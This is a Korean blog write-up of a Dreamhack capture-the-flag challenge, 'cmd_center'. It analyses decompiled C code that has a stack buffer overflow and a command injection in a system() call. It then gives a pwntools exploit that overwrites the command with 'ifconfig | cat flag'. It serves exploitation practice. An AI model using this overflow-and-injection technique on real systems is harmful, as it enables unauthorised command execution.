상세 컨텐츠

본문 제목

[Dreamhack] cmd_center (pwnable)

SYSTEM HACKING/Dreamhack

by koharin 2025. 4. 21. 12:26

본문

728x90
반응형

코드 분석

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-130h] BYREF
  char s1[10]; // [rsp+20h] [rbp-110h] BYREF
  __int16 v5; // [rsp+2Ah] [rbp-106h]
  int v6; // [rsp+2Ch] [rbp-104h]
  char v7[240]; // [rsp+30h] [rbp-100h] BYREF
  _QWORD v8[2]; // [rsp+120h] [rbp-10h] BYREF

  v8[1] = __readfsqword(0x28u);
  strcpy(s1, "ifconfig");
  s1[9] = 0;
  v5 = 0;
  v6 = 0;
  memset(v7, 0, sizeof(v7));
  init(v8, argv, v7);
  printf("Center name: ");
  read(0, buf, 0x64uLL);
  if ( !strncmp(s1, "ifconfig", 8uLL) )
    system(s1);
  else
    puts("Something is wrong!");
  exit(0);
}

스택 구조 상 |buf(32)|s1(10)| 이렇게 위치한다. (이후는 return address 덮는게 아니니까 생략..)

buf에 입력을 받는데 32바이트보다 더 많이 입력받으므로 stack BOF 취약점이 존재한다.

이후 s1이 ifconfig가 있으면 system(s1)으로 명령어를 실행하는데, ifconfig만 있으면 되므로 command injection 취약점도 존재한다.

 

익스플로잇 코드

from pwn import *

p=remote('host3.dreamhack.games', 13450)

p.sendlineafter(b'Center name: ', 'A'*32+'ifconfig | cat flag')

p.interactive()

먼저 BOF 취약점을 이용해서 32바이트를 임의 값으로 꽉 채운 후,  s1 자리에 ifconfig를 포함하여 flag를 출력하는 명령어를 주입한다.

그럼 임의 명령어가 실행되어 플래그가 출력된다.

 

 

728x90
반응형

관련글 더보기